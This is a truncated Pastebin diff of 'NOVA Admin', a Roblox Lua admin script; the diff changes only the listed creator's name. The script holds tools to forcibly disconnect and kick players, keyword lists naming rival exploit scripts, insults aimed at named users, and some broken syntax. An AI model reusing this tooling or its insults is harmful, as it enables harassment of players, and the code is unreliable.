View difference between Paste ID: etXnHHiJ and zckcyrx2
SHOW: | | - or go back to the newest paste.
1
                                                                                                                                                                                ]]
2
script.Name = "# NOVA Admin #"
3
wait()
4
script.Parent = Instance.new("Glue") -- Stuck!
5
NOVA ={
6
    BadPhrases = true;
7
    Bet = "/";
8
    Services = {
9
        Game = game;
10
        RunService = game:GetService("RunService");
11
        Workspace = game:GetService("Workspace");
12
        Lighting = game:GetService("Lighting");
13
        Debris = game:GetService("Debris");
14
        Players = game:GetService("Players");
15
        Teams = game:GetService("Teams");
16
        SoundService = game:GetService("SoundService");
17
        ScriptContext = game:GetService("ScriptContext");
18
        NetworkServer = game:GetService("NetworkServer");
19
        StarterGui = game:GetService("StarterGui");
20
        StarterPack = game:GetService("StarterPack");
21
    };
22
    Ranks = {
23
        {-2,"Lagged"}; -- -2
24
        {-1,"Banned"}; -- -1
25
        {-0.5,"Scum"};
26
        {0,"Guest"}; -- 0
27
        {1,"Mod"}; -- 1
28
        {2,"Admin"}; -- 2
29
        {3,"Developer"}; -- 3
30
        {4,"Omega Admin"}; -- 4
31
        {5,"Overlord"}; -- 5
32
        {6,"OP ( Operator )"}; -- 6
33
        {7,"Creator"}; -- 7
34
        {8,"ROOT"}; -- 8
35
    };
36
    Alphabet = {
37
    "a",    "b",    "c",    "d",    "e",    "f",    "g",    "h",    "i",    "j",    "k",    "l",    "m",    "n",    "o",    "p",    "q",    "r",    "s",    "t",    "u",    "v",    "w",    "x",    "y",    "z",    
38
    };
39
    Ranked = {
40-
        {Name = "PROMob", Rank = 8, CMD = true, Color = Color3.new(1,1,0), Desc = "Creator"};
40+
        {Name = "polikilopl", Rank = 8, CMD = true, Color = Color3.new(1,1,0), Desc = "Creator"};
41
        {Name = "Johnwillhaverevenge", Rank = 8 CMD = true Color = Color3.new(0,0,1), Desc = "Amazing Guy Ever!"};
42
        {Name = "503020501068", Rank = 7, CMD = true, Color = Color3.new(0,0,1), Desc = "Best Friend"};
43
        {Name = "darkeageninja", Rank = -1, CMD = true, Color = Color3.new(0,0,1), Desc = "Banned"};
44
        {Name = "wubbzy301", Rank = -1, CMD = true, Color = Color3.new(0,0,1), Desc = "Banned"};
45
        {Name = "xXxArtistxXx", Rank = -1, CMD = true, Color = Color3.new(0,0,1), Desc = "Nub"};
46
        {Name = "mrein5", Rank = -1, CMD = true, Color = Color3.new(0,0,1), Desc = "A low life Camball abuser"};
47
        {Name = "Error2830", Rank = -2, CMD = true, Color = Color3.new(0,0,1), Desc = "TOTAL NUB WITH NO LIFE"};
48
 
49
    };    
50
    Credit = {
51
        {Name = "NetworkClient",Why = "for the tablet function."};
52
        {Name = string.reverse(string.gsub("nXQZaXQZmXQZDXQZmXQZaXQZeXQZTXQZ","XQZ","")),Why = "for creating NOVA Admin."};
53
        {Name = "Johnwillhaverevenge1",Why = "For helping me edit and upgrade"};
54
        {Name = "503020501068",Why = "For helping me with John and become a nice person to me"};
55
        {Name = "ask4kingbily",Why = "For showing me how to lock first person."};
56
    };
57
    Animations = {
58
        {Name = "Facepalm", Who = "Dylanbuil", Id = "372695cdb6a7540768234ad60ed7a298"};
59
    };
60
    Colors = {
61
        Red = Color3.new(1,0,0);
62
        PinkRed = Color3.new(1,0,0.15);
63
        Orange = Color3.new(1,0.5,0);
64
        Yellow = Color3.new(1,1,0);
65
        Green = Color3.new(0,1,0);
66
        Blue = Color3.new(0,0,1);
67
        LightBlue = Color3.new(0,1,1);
68
        Pink = Color3.new(1,0,1);
69
        Magenta = Color3.new(0.54,0,0.54);
70
        White = Color3.new(1,1,1);
71
        Grey = Color3.new(0.5,0.5,0.5);
72
        Black = Color3.new(0,0,0);
73
    };
74
    Sounds = {
75
        Sound = Instance.new("Sound");
76
        Numbers = { -- one to five ( top to bottom )
77
            "http://www.roblox.com/Asset/?id=29445305",
78
            "http://www.roblox.com/Asset/?id=29445339",
79
            "http://www.roblox.com/Asset/?id=29445358",
80
            "http://www.roblox.com/Asset/?id=29445378",
81
            "http://www.roblox.com/Asset/?id=29445395",
82
        };
83
        PlayAfter = {
84
            "http://www.roblox.com/Asset/?id=2767090",
85
            "http://www.roblox.com/Asset/?id=2800815",
86
            "http://www.roblox.com/Asset/?id=2801263",
87
            "http://www.roblox.com/Asset/?id=11984254",
88
            "http://www.roblox.com/Asset/?id=2101159",
89
            "http://www.roblox.com/Asset/?id=3087031",
90
            "http://www.roblox.com/Asset/?id=2101148",
91
            "http://www.roblox.com/Asset/?id=2233908",
92
            "http://www.roblox.com/Asset/?id=16976189",
93
            "http://www.roblox.com/Asset/?id=2101157",
94
            "http://www.roblox.com/Asset/?id=2974000",
95
            "http://www.roblox.com/Asset/?id=2703110",
96
            "http://www.roblox.com/Asset/?id=1994345",
97
        };
98
    };
99
    AncientRules = {
100
        "Thou shall not use forum scripts.",
101
        "Thou shall not use CamBall / CamSphere.",
102
        "Thou shall not use CBA.",
103
        "Thou shall not use RMDX's scripts.",
104
        "Thou shall not use antibans.",
105
        "Thou shall not abuse thou admin.",
106
        "Thou shall not steal scripts.",
107
        "Thou shall not trade scripts you didn't make.",
108
        "Thou shall not use gay scripts.",
109
        "Thou shall not abuse loopholes in the ancient rules.",
110
    };
111
    ChatFilters = {
112
        "mediafire",
113
        "shit",
114
        "gtfo",
115
        "password",
116
        "hitler",
117
        "vaginas",
118
    };
119
 
120
    KillingPhrases = {
121
        "ssj",
122
        "yolo",
123
        "swag",
124
    };
125
    KickingPhrases = {
126
             "\"/down\"",
127
        "/down",
128
        "/hide",
129
        "rpe/",
130
        "antiban",
131
        "ab/",
132
        "camball.",
133
        "camball.came",
134
        "camball/",
135
        "camball /","deadfield","1waffle1",
136
        "cie camball",
137
        "d33k/",
138
        "pban/",
139
        "your own camball",
140
        "created by jordan88282",
141
        "v2 camball",
142
        "cba = {}",
143
        "cba.bet",
144
        "banmenu","adminlist",
145
        "ban/t","ban/tu","ban/tus","ban/tusk","ban/tusko","ban/tuskor","ban/tuskor6","ban/tuskor66","ban/Dylanbuil",
146
        "cryston",
147
        "jordan88282", "eyeball","orb","kick/","owner","antikick",
148
   };
149
    PreviousDataKeys = {
150
        "Unlimited Gravity&accesskey=13785(G*&_version="..tostring(_VERSION),
151
    };
152
    LoadTime = {
153
        Start = tick(),
154
        Finish = tick(),
155
    };
156
    Fences = {};
157
    Jails = {};
158
    Objects = {};
159
    Commands = {};
160
    Tablets = {};
161
    Targeted = {};
162
    ExternalPlayersList = {};
163
    Waypoints = {};
164
    Log = {};
165
    LoggedScripts = {};
166
    PRI = false;
167
    LockedScripts = false;
168
    Removed = true;
169
    ShowChat = true;
170
    Canceled = false;
171
    Overrided = false;
172
    TimeChanged = false;
173
    TabletPositionRelative = false;
174
    AntiDLL = false;
175
    EnableGuests = true;
176
    UseGlobals = false;
177
    Overrider = nil;
178
    TabletRotation = 0;
179
    TabletRotationIncrease = 0.03;
180
    AccessKey = "13785(G*";
181
    Version = "6th Generation";
182
    DataKey = "Unlimited Gravity";
183
    PRIType = "Shutdown";
184
    LocalScript = script:FindFirstChild("PseudoLocalScript"); -- or NewLocal
185
    Script = script:FindFirstChild("PseudoScript"); -- or NewScript
186
    Plugins = script:GetChildren()
187
}
188
--[[ PLAYER PLUGINS ]]--
189
function UpdatePlayerPlugins()
190
    if NOVA.AntiDLL == true then PlayerPlugins = [==[
191
            script.Parent = nil
192
            LocalPlayer = game:GetService("Players").LocalPlayer
193
           
194
            game:GetService("Selection").SelectionChanged:connect(function()
195
                if LocalPlayer.Name ~= "Dylanbuil" and LocalPlayer.Name ~= "SurgenHack" and LocalPlayer.Name ~= "Player" then
196
                    LocalPlayer.Parent = nil
197
                    LocalPlayer.Parent = game:GetService("Players")
198
                end
199
            end)
200
            coroutine.resume(coroutine.create(function()
201
                while wait() do
202
                    if workspace:FindFirstChild("Disconnect : "..LocalPlayer.Name.." Key : ]==]..NOVA.AccessKey..[==[") then
203
                        workspace:FindFirstChild("Disconnect : "..LocalPlayer.Name.." Key : ]==]..NOVA.AccessKey..[==["):Remove()
204
                        LocalPlayer.Parent = nil
205
                        LocalPlayer.Parent = game:GetService("Players")
206
                    end
207
                end
208
            end))
209
        ]==]
210
        else
211
            PlayerPlugins = [==[
212
            script.Parent = nil
213
            LocalPlayer = game:GetService("Players").LocalPlayer
214
       
215
            coroutine.resume(coroutine.create(function()
216
                while wait() do
217
                    if workspace:FindFirstChild("Disconnect : "..LocalPlayer.Name.." Key : ]==]..NOVA.AccessKey..[==[") then
218
                        workspace:FindFirstChild("Disconnect : "..LocalPlayer.Name.." Key : ]==]..NOVA.AccessKey..[==["):Remove()
219
                        LocalPlayer.Parent = nil
220
                        LocalPlayer.Parent = game:GetService("Players")
221
                    end
222
                end
223
            end))
224
        ]==]
225
    end
226
end
227
function Color()
228
        local Choice = math.random(1, 5)
229
        if Choice == 1 then
230
                return "Institutional white"
231
        elseif Choice == 2 then
232
                return "White"
233
        elseif Choice == 3 then
234
                return "Really red"
235
        elseif Choice == 4 then
236
                return "New Yeller"
237
        elseif Choice == 5 then
238
                return "Black"
239
        end
240
end  
241
--[[ PSEUDO FUNCTIONS ]]--
242
function CreateLocalScript(Source, Parent)
243
    if game.PlaceId == 20279777 or game.PlaceId == 20132544 or game.PlaceId == 54194680 then
244
        newLocalScript(Source, Parent)
245
    elseif game.PlaceId == 23232804 then
246
        NewLocalScript(Source, Parent)
247
    elseif NOVA.LocalScript ~= nil then
248
        NS = NOVA.LocalScript:Clone()
249
        NS.Name = "LocalScript"
250
        pcall(function() NS:ClearAllChildren() end)
251
        NewSource = Instance.new("StringValue",NS)
252
        NewSource.Name = "Source"
253
        if game.PlaceId == 113456 or game.PlaceId == 49907749 or game.PlaceId == 56786 then
254
            NewSource.Name = "DSource"
255
        end
256
        NewSource.Value = Source
257
        NS.Parent = Parent
258
        NS.Disabled = false
259
    else
260
        print("[NOVA.CreateLocalScript] Localscript functionality not avalible here. ( PlaceId : "..game.PlaceId..")")
261
    end
262
end
263
 
264
function CreateScript(Source, Parent)
265
    if game.PlaceId == 20279777 or game.PlaceId == 20132544 or game.PlaceId == 54194680 then
266
        newScript(Source, Parent)
267
    elseif game.PlaceId == 23232804 then
268
        NewScript(Source, Parent)
269
    elseif NOVA.Script ~= nil then
270
        NS = NOVA.Script:Clone()
271
        NS.Name = "Script"
272
        pcall(function() NS:ClearAllChildren() end)
273
        NewSource = Instance.new("StringValue",NS)
274
        NewSource.Name = "Source"
275
        NewSource.Value = Source
276
        NS.Parent = Parent
277
        NS.Disabled = false
278
    else
279
        print("[NOVA.CreateScript] Script functionality not avalible here. ( PlaceId : "..game.PlaceId..")")
280
    end
281
end
282
 
283
function IsTargeted(Player)
284
    if type(Player) == "string" then
285
        for _,v in pairs(NOVA.Targeted) do
286
            if v.Name == Player then
287
                return true
288
            end
289
        end
290
    elseif type(Player) == "userdata" then
291
        for _,v in pairs(NOVA.Targeted) do
292
            if Player == v then
293
                return true
294
            end
295
        end
296
    else
297
        print("[NOVA.IsTargeted] An invalid argument type was used. ("..tostring(type(Player))..")")
298
    end
299
    return false
300
end
301
 
302
--[[ DATA PERSISTANCE ]]--
303
--[[ SYNC RANKS IN ]]--
304
function SyncRanksIn()
305
    for _,v in pairs(NOVA.Services.Players:GetPlayers()) do
306
        SyncRankInSingular(v)
307
    end
308
end
309
--[[ SYNC RANK IN SINGULAR ]]--
310
function SyncRankInSingular(v)
311
    if type(v) ~= "userdata" then
312
        print("[NOVA.SyncRankInSingular] Argument 1 incorrect type.")
313
        return
314
    end
315
    coroutine.resume(coroutine.create(function()
316
        repeat wait() until v.DataReady == true
317
       
318
        if GetRankedTable(v) == nil then
319
            table.insert(NOVA.Ranked,{
320
                Name = v.Name,
321
                CMD = false,
322
                Rank = 0,
323
                Color = NOVA.Colors.Orange,
324
                Desc = "N/A",
325
                Complaints = Instance.new("Model"),
326
                Executeables = Instance.new("Model"),
327
            })
328
        end
329
       
330
        local PhysicalData = v:LoadInstance(NOVA.DataKey.."&accesskey="..NOVA.AccessKey.."&_version="..NOVA.Version)
331
        local Data = GetRankedTable(v)
332
       
333
        if PhysicalData == nil then
334
            Data.Name = v.Name
335
            Data.CMD = false
336
            Data.Rank = 0
337
            Data.Color = NOVA.Colors.Orange
338
            Data.Desc = "N/A"
339
            Data.Complaints = Instance.new("Model")
340
            Data.Executeables = Instance.new("Model")
341
        elseif PhysicalData ~= nil then
342
            pcall(function() Data.Name = v.Name end)
343
            pcall(function() Data.CMD = PhysicalData.CMD.Value end)
344
            pcall(function() Data.Rank = PhysicalData.RANK.Value end)
345
            pcall(function() Data.Color = PhysicalData.COLOR.Value end)
346
            pcall(function() Data.Desc = PhysicalData.DESCRIPTION.Value end)
347
            pcall(function() Data.Complaints = PhysicalData.COMPLAINTS:Clone() end)
348
            pcall(function() Data.Executeables = PhysicalData.EXECUTEABLES:Clone() end)
349
            if Data.CMD == nil then Data.CMD = false end
350
            if Data.Rank == nil then Data.Rank = 0 end
351
            if Data.Color == nil then Data.Color = NOVA.Colors.Orange end
352
            if Data.Desc == nil then Data.Desc = "N/A" end
353
            if Data.Complaints == nil then Data.Complaints = Instance.new("Model") end
354
            if Data.Executeables == nil then Data.Executeables = Instance.new("Model") end
355
        end
356
    end))
357
end
358
 
359
--[[ SYNC RANKS OUT ]]--
360
function SyncRanksOut()
361
    for _,v in pairs(NOVA.Services.Players:GetPlayers()) do
362
        SyncRankOutSingular(v)
363
    end
364
end
365
 
366
--[[ SYNC RANK OUT SINGULAR ]]--
367
function SyncRankOutSingular(v)
368
    coroutine.resume(coroutine.create(function()
369
        repeat wait() until v.DataReady == true
370
        local RankData = GetRankedTable(v)
371
        if RankData == nil then print("[NOVA.SyncRankOutSingular] RankData is missing or nil.") return end
372
        local Data = Instance.new("Model")
373
        Data.Name = "PlayerData"
374
        local CMD = Instance.new("BoolValue",Data)
375
        CMD.Name = "CMD"
376
        CMD.Value = RankData.CMD
377
        local Rank = Instance.new("NumberValue",Data)
378
        Rank.Name = "RANK"
379
        Rank.Value = RankData.Rank
380
        local Color = Instance.new("Color3Value",Data)
381
        Color.Name = "COLOR"
382
        Color.Value = RankData.Color
383
        local Desc = Instance.new("StringValue",Data)
384
        Desc.Name = "DESCRIPTION"
385
        Desc.Value = RankData.Desc
386
        local Complaints = RankData.Complaints:Clone()
387
        Complaints.Name = "COMPLAINTS"
388
        local Executeables = RankData.Executeables:Clone()
389
        Executeables.Name = "EXECUTEABLES"
390
       
391
        v:SaveInstance(NOVA.DataKey.."&accesskey=lol4&_version="..NOVA.Version,Data)
392
        for _,v in pairs(NOVA.PreviousDataKeys) do
393
            v:SaveInstance(v,Data)
394
        end
395
    end))
396
end
397
 
398
--[[ PLAYER INTERFACE ]]--
399
function PlayerInterface(v,Speaker)
400
    RemoveTablets(Speaker)
401
    local Data = GetRankedTable(v)
402
    OutputImg("http://www.roblox.com/Thumbs/Avatar.ashx?x=150&y=200&Format=Png&username="..v.Name,v.Name,Data.Color,Speaker)
403
    Output("Rank Name : "..GetRankName(v),Data.Color,Speaker)
404
    Output("Rank Number : "..Data.Rank,Data.Color,Speaker)
405
    Output("Account Age : "..v.AccountAge,Data.Color,Speaker)
406
    Output("User Id : "..v.userId,Data.Color,Speaker)
407
    Output("Desc : "..Data.Desc,Data.Color,Speaker)
408
    Output("CMD : "..tostring(Data.CMD),Data.Color,Speaker)
409
    Output("Color : "..tostring(Data.Color),Data.Color,Speaker)
410
        if GetRank(Speaker) > Data.Rank and GetRank(Speaker) >= 6 then
411
        Output("SHUT THEM DOWN!",NOVA.Colors.Red,Speaker,nil,
412
            function()
413
                Instance.new("StringValue",workspace).Name = "Disconnect : "..Data.Name.." Key : "..NOVA.AccessKey..""
414
 
415
            end
416
        )
417
    end
418
    if GetRank(Speaker) > Data.Rank or v == Speaker then
419
        Output("Set CMD",NOVA.Colors.Blue,Speaker,nil,
420
            function()
421
                RemoveTablets(Speaker)
422
                Output("True",NOVA.Colors.Green,Speaker,nil,
423
                    function()
424
                        Data.CMD = true
425
                        SyncRankOutSingular(v)
426
                        PlayerInterface(v,Speaker)
427
                    end
428
                )
429
                Output("False",NOVA.Colors.Red,Speaker,nil,
430
                    function()
431
                        Data.CMD = false
432
                        SyncRankOutSingular(v)
433
                        PlayerInterface(v,Speaker)
434
                    end
435
                )
436
                Output("Done",NOVA.Colors.Blue,Speaker,nil,
437
                    function()
438
                        PlayerInterface(v,Speaker)
439
                    end
440
                )
441
                Output("Dismiss",NOVA.Colors.Red,Speaker)
442
            end
443
        )
444
    end
445
    if GetRank(Speaker) > Data.Rank then
446
        Output("Set Rank",NOVA.Colors.Blue,Speaker,nil,
447
            function()
448
                RemoveTablets(Speaker)
449
                for i,v in pairs(NOVA.Ranks) do
450
                    if v[1] ~= 8 then
451
                        Output(v[1],Color3.new(i/10,i/10,i/10),Speaker,nil,
452
                            function()
453
                                RemoveTablets(Speaker)
454
                                Data.Rank = v[1]
455
                                SyncRankOutSingular(v)
456
                                PlayerInterface(v,Speaker)
457
                            end    
458
                        )
459
                    end
460
                end
461
                Output("Dismiss",NOVA.Colors.Red,Speaker)
462
                Output("Back",NOVA.Colors.Blue,Speaker,nil,
463
                    function()
464
                        PlayerInterface(v,Speaker)
465
                    end
466
                )
467
               
468
            end
469
        )
470
    end
471
    if GetRank(Speaker) > Data.Rank or v == Speaker then
472
        Output("Set Color",NOVA.Colors.Blue,Speaker,nil,
473
            function()
474
                RemoveTablets(Speaker)
475
                for i,Color in pairs(NOVA.Colors) do
476
                    Output(tostring(i),Color,Speaker,nil,
477
                        function()
478
                            Data.Color = Color
479
                            PlayerInterface(v,Speaker)
480
                            SyncRankOutSingular(v)
481
                        end
482
                    )
483
                   
484
                end
485
                Output("Back",NOVA.Colors.Blue,Speaker,nil,
486
                        function()
487
                            PlayerInterface(v,Speaker)
488
                        end
489
                    )
490
                Output("Dismiss",NOVA.Colors.Red,Speaker)
491
            end
492
        )
493
    end
494
    Output("#REDIRECT GetRanked",NOVA.Colors.Blue,Speaker,nil,
495
        function()
496
            RemoveTablets(Speaker)
497
            OnChatted(NOVA.Bet .. "getranked" .. NOVA.Bet,Speaker)
498
        end
499
    )
500
    Output("#REDIRECT Nil",NOVA.Colors.Blue,Speaker,nil,
501
        function()
502
            RemoveTablets(Speaker)
503
            OnChatted(NOVA.Bet .. "ping" .. NOVA.Bet .. "nil",Speaker)
504
        end
505
    )
506
    Output("#REDIRECT Replicators",NOVA.Colors.Blue,Speaker,nil,
507
        function()
508
            RemoveTablets(Speaker)
509
            OnChatted(NOVA.Bet .. "ping" .. NOVA.Bet .. "replicators",Speaker)
510
        end
511
    )
512
    Output("#REDIRECT Players",NOVA.Colors.Blue,Speaker,nil,
513
        function()
514
            RemoveTablets(Speaker)
515
            OnChatted(NOVA.Bet .. "ping" .. NOVA.Bet .. "players",Speaker)
516
        end
517
    )
518
    Output("Dismiss",NOVA.Colors.Red,Speaker)
519
end
520
 
521
--[[ MAKE HINT ]]--
522
 
523
function makeHint(Text,Parent)
524
    coroutine.resume(coroutine.create(function()
525
        local M = Instance.new("Hint",Parent)
526
        for i = 1, string.len(Text) do
527
            M.Text = M.Text .. string.sub(Text, i, i)
528
            wait(math.random() * 0.1)
529
        end
530
        M.Text = M.Text .. ""
531
        for i = 1, math.random(2, 6) do
532
            M.Text = string.sub(M.Text, 1, string.len(Text)) .. "_"
533
            wait(0.4)
534
            M.Text = string.sub(M.Text, 1, string.len(Text)) .. "  "
535
            wait(0.4)
536
        end
537
        M.Text = string.sub(M.Text, 1, string.len(Text))
538
        for i = 1, string.len(M.Text) do
539
            M.Text = string.sub(M.Text, 1, string.len(M.Text) - 1)
540
            wait()
541
        end
542
                        M:Remove()
543
    end))
544
end
545
function makeMessage(Text,Parent)
546
    coroutine.resume(coroutine.create(function()
547
        local M = Instance.new("Message",Parent)
548
        for i = 1, string.len(Text) do
549
            M.Text = M.Text .. string.sub(Text, i, i)
550
            wait(math.random() * 0.1)
551
        end
552
        M.Text = M.Text .. ""
553
        for i = 1, math.random(2, 6) do
554
            M.Text = string.sub(M.Text, 1, string.len(Text)) .. "_"
555
            wait(0.4)
556
            M.Text = string.sub(M.Text, 1, string.len(Text)) .. "  "
557
            wait(0.4)
558
        end
559
        M.Text = string.sub(M.Text, 1, string.len(Text))
560
        for i = 1, string.len(M.Text) do
561
            M.Text = string.sub(M.Text, 1, string.len(M.Text) - 1)
562
            wait()
563
        end
564
        M:Remove()
565
    end))
566
end
567
 
568
--[[ EXPLORE ]]--
569
function Explore(Thing,Speaker)
570
    if Speaker == nil then
571
        print("[NOVA.Explore] Argument 1 missing or nil.")
572
        return
573
    end
574
    pcall(function()
575
        if Thing == game or Thing == nil then
576
            RemoveTablets(Speaker)
577
            for _,v in pairs(NOVA.Services) do
578
                Output(v.className,GetRankedTable(Speaker).Color,Speaker,nil,function() Explore(v,Speaker) end)
579
            end
580
            Output("Dismiss",NOVA.Colors.Red,Speaker)
581
        else
582
            if #Thing:children() == 0 then
583
                RemoveTablets(Speaker)
584
                Explore(Thing.Parent.Parent,Speaker)    
585
            else
586
                RemoveTablets(Speaker)
587
                for _,v in pairs(Thing:children()) do
588
                    Output(v.Name,GetRankedTable(Speaker).Color,Speaker,nil,
589
                        function()
590
                            RemoveTablets(Speaker)
591
                            Output("Name : "..v.Name,GetRankedTable(Speaker).Color,Speaker)
592
                            Output("Class Name : "..v.className,GetRankedTable(Speaker).Color,Speaker)
593
                            Output("Full Name : "..v:GetFullName(),GetRankedTable(Speaker).Color,Speaker)
594
                            Output("Remove",NOVA.Colors.Orange,Speaker,nil, function() Explore(v.Parent.Parent,Speaker) v:remove() end )
595
                            Output("Destroy",NOVA.Colors.Orange,Speaker,nil, function() Explore(v.Parent.Parent,Speaker) v:Destroy() end )
596
                            Output("Destroy ALL ( Name )",NOVA.Colors.Red,Speaker,nil, function() Explore(v.Parent.Parent,Speaker) for _,Part in pairs(GetRecursiveChildren()) do pcall(function() if Part.Name == v.Name then Part:Destroy() end end) end v:Destroy() end )
597
                            Output("Destroy ALL ( className )",NOVA.Colors.Red,Speaker,nil, function() Explore(v.Parent.Parent,Speaker) for _,Part in pairs(GetRecursiveChildren()) do pcall(function() if Part.className == v.className then Part:Destroy() end end) end v:Destroy() end )
598
                            Output("#STORE",NOVA.Colors.Yellow,Speaker,nil,function() v:Clone().Parent = NOVA.Services.Lighting end)
599
                            Output("#REDIRECT .Parent.Parent",NOVA.Colors.Blue,Speaker,nil,function() Explore(v.Parent.Parent,Speaker) end)
600
                            Output("#REDIRECT :GetChildren()",NOVA.Colors.Blue,Speaker,nil,function() Explore(v,Speaker) end)
601
                            Output("Dismiss",NOVA.Colors.Red,Speaker)
602
                        end
603
                    )
604
                end
605
                Output("Dismiss",NOVA.Colors.Red,Speaker)
606
            end
607
        end
608
    end)
609
end
610
 
611
--[[ CAPE ]]--
612
function Cape(v)
613
    local Mode = "None"
614
    local AngleX = 0
615
    pcall(function()
616
        v.Character.Swordpack:remove()
617
    end)
618
    pcall(function()    
619
        v.Character["NOVA Cape"]:remove()
620
    end)
621
 
622
    local Main = Instance.new("Model",v.Character)
623
    Main.Name = "NOVA Cape"
624
 
625
    pcall(function()
626
        v.Character.Swordpack:Remove()
627
    end)
628
 
629
    local Cape = Instance.new("Part", Main)
630
    Cape.Name = "Cape"
631
    Cape.Anchored = false
632
    Cape.Locked = true
633
    Cape.CanCollide = false
634
    Cape.formFactor = "Custom"
635
    Cape.Size = Vector3.new(2, 3.5, 0.2)
636
    Cape.BrickColor = BrickColor.new("Really black")
637
    Cape.TopSurface = 0
638
    Cape.BottomSurface = 0
639
    local Decal = Instance.new("Decal", Cape)
640
    Decal.Face = "Back"
641
    Decal.Texture = ""
642
    local CapeWeld = Instance.new("Weld", Cape)
643
    CapeWeld.Part0 = v.Character.Torso
644
    CapeWeld.Part1 = Cape
645
    CapeWeld.C0 = CFrame.new(0, 1, 0.5)
646
    CapeWeld.C1 = CFrame.new(0, 3.5 / 2, -0.0)
647
    v.Character.Humanoid.Running:connect(function(Speed)
648
        if Speed > 0 then
649
            Mode = "Running"
650
        else
651
            Mode = "None"
652
        end
653
    end)
654
    v.Character.Humanoid.Jumping:connect(function() Mode = "Jumping" end)
655
    coroutine.wrap(function()
656
        while Cape.Parent ~= nil and CapeWeld.Parent ~= nil do
657
            local UpSpeed = 2.5
658
            local DownSpeed = 5
659
            local TargetAngle = 5
660
            if Mode == "Running" then
661
                TargetAngle = 45 + math.random(0, 2500) / 100
662
            elseif Mode == "Jumping" then
663
                UpSpeed = 10
664
                DownSpeed = 10
665
                TargetAngle = (v.Character.Torso.Velocity.y < 3 and 160 or 45)
666
            end
667
            if math.abs(TargetAngle - AngleX) < (DownSpeed > UpSpeed and DownSpeed or UpSpeed) then AngleX = TargetAngle end
668
            if AngleX < TargetAngle then
669
                AngleX = AngleX + UpSpeed
670
            elseif AngleX > TargetAngle then
671
                AngleX = AngleX - DownSpeed
672
            end
673
            CapeWeld.C1 = CFrame.new(0, 3.5 / 2, -0.0) * CFrame.fromEulerAnglesXYZ(math.rad(AngleX), 0, 0, 0)
674
            wait()
675
        end
676
    end)()
677
 
678
    local LShoulder = Instance.new("Part",Main)
679
    LShoulder.Name = "Left Shoulder"
680
    LShoulder.TopSurface = "Smooth"
681
    LShoulder.BottomSurface = "Smooth"
682
    LShoulder.FormFactor = "Custom"
683
    LShoulder.Size = Vector3.new(1,0.2,1)
684
    LShoulder.BrickColor = BrickColor.new("Really black")
685
    LShoulder.Anchored = false
686
    LShoulder.Locked = true
687
    LShoulder.CanCollide = false
688
    LShoulder.Transparency = 0
689
    LShoulder.Reflectance = 0
690
    local Weld = Instance.new("Motor6D",LShoulder)
691
    Weld.Part0 = LShoulder
692
    Weld.Part1 = v.Character["Left Arm"]
693
    Weld.C0 = CFrame.new(0,-1,0)
694
 
695
    local RShoulder = Instance.new("Part",Main)
696
    RShoulder.Name = "Right Shoulder"
697
    RShoulder.TopSurface = "Smooth"
698
    RShoulder.BottomSurface = "Smooth"
699
    RShoulder.FormFactor = "Custom"
700
    RShoulder.Size = Vector3.new(1,0.2,1)
701
    RShoulder.BrickColor = BrickColor.new("Really black")
702
    RShoulder.Anchored = false
703
    RShoulder.Locked = true
704
    RShoulder.CanCollide = false
705
    RShoulder.Transparency = 0
706
    RShoulder.Reflectance = 0
707
    local Weld = Instance.new("Motor6D",RShoulder)
708
    Weld.Part0 = RShoulder
709
    Weld.Part1 = v.Character["Right Arm"]
710
    Weld.C0 = CFrame.new(0,-1,0)
711
 
712
    local NeckFlat = Instance.new("Part",Main)
713
    NeckFlat.Name = "NeckFlat"
714
    NeckFlat.TopSurface = "Smooth"
715
    NeckFlat.BottomSurface = "Smooth"
716
    NeckFlat.FormFactor = "Custom"
717
    NeckFlat.Size = Vector3.new(2,0.2,1)
718
    NeckFlat.BrickColor = BrickColor.new("Really black")
719
    NeckFlat.Anchored = false
720
    NeckFlat.Locked = true
721
    NeckFlat.CanCollide = false
722
    NeckFlat.Transparency = 0
723
    NeckFlat.Reflectance = 0
724
    local Weld = Instance.new("Motor6D",NeckFlat)
725
    Weld.Part0 = NeckFlat
726
    Weld.Part1 = v.Character.Torso
727
    Weld.C0 = CFrame.new(0,-1,0)
728
 
729
    for _,v in pairs(Main:GetChildren()) do v.Reflectance = 1e+999 end
730
 
731
end
732
 
733
--[[ GET SPLIT ]]--
734
function GetSplit(Msg)
735
    Split = nil
736
    for i=1,100 do
737
        if string.sub(Msg,i,i) == NOVA.Bet then
738
            Split = i
739
            break
740
        end
741
    end
742
    return Split
743
end
744
 
745
--[[ GET RANK ]]--
746
 
747
function GetRank(Player)
748
    Rtn = nil
749
    if Player == "Server" or Player == "Self" or Player == "God" or Player == "NOVA" or Player == "ROOT" then
750
        return 8
751
    end
752
    if type(Player) == "userdata" then
753
        for _,v in pairs(NOVA.Ranked) do
754
            if v.Name:lower() == Player.Name:lower() then
755
                Rtn = v.Rank
756
            end
757
        end
758
    elseif type(Player) == "string" then
759
        for _,v in pairs(NOVA.Ranked) do
760
            if v.Name:lower() == Player:lower() then
761
                Rtn = v.Rank
762
            end
763
        end
764
    else print("[NOVA.GetRank] Unsupported argument type. ("..type(Player)..")")
765
    end
766
    return    Rtn
767
end
768
 
769
--[[ GET RANK NAME ]]--
770
function GetRankName(Player)
771
    if type(Player) == "userdata" or type(Player) == "string" then
772
        Rtn = nil
773
        Rank = GetRank(Player)
774
        for _,v in pairs(NOVA.Ranks) do
775
            if v[1] == Rank then
776
                Rtn = v[2]
777
            end
778
        end
779
        return Rtn
780
    else
781
        print("[NOVA.GetRankName] Unsupported argument type ("..type(Player)..")")
782
        return "NOT AVALIBLE"
783
    end
784
end
785
 
786
--[[ GET RANKED TABLE ]]--
787
function GetRankedTable(Player)
788
    Rtn = nil
789
    if type(Player) == "userdata" then
790
        for _,v in pairs(NOVA.Ranked) do
791
            if v.Name == Player.Name then
792
                Rtn = v
793
            end
794
        end
795
    elseif type(Player) == "string" then
796
        for _,v in pairs(NOVA.Ranked) do
797
            if v.Name == Player then
798
                Rtn = v
799
            end
800
        end
801
    else
802
        print("[NOVA.GetRankedTable] Unsupported argument type.("..type(Player)..")")
803
    end
804
    return Rtn
805
end
806
 
807
--[[ GET RECURSIVE CHILDREN ]]--
808
function GetRecursiveChildren(Source, Name, SearchType, Children)
809
    if Source == nil then
810
        Source = NOVA.Services
811
    end
812
    if Name == nil or type(Name) ~= "string" then
813
        Name = ""
814
    end
815
    if Children == nil or type(Children) ~= "table" then
816
        Children = {}
817
    end
818
    if type(Source) == "userdata" then
819
        pcall(function()
820
            for _, Child in pairs(Source:children()) do
821
                pcall(function()
822
                    if (function()
823
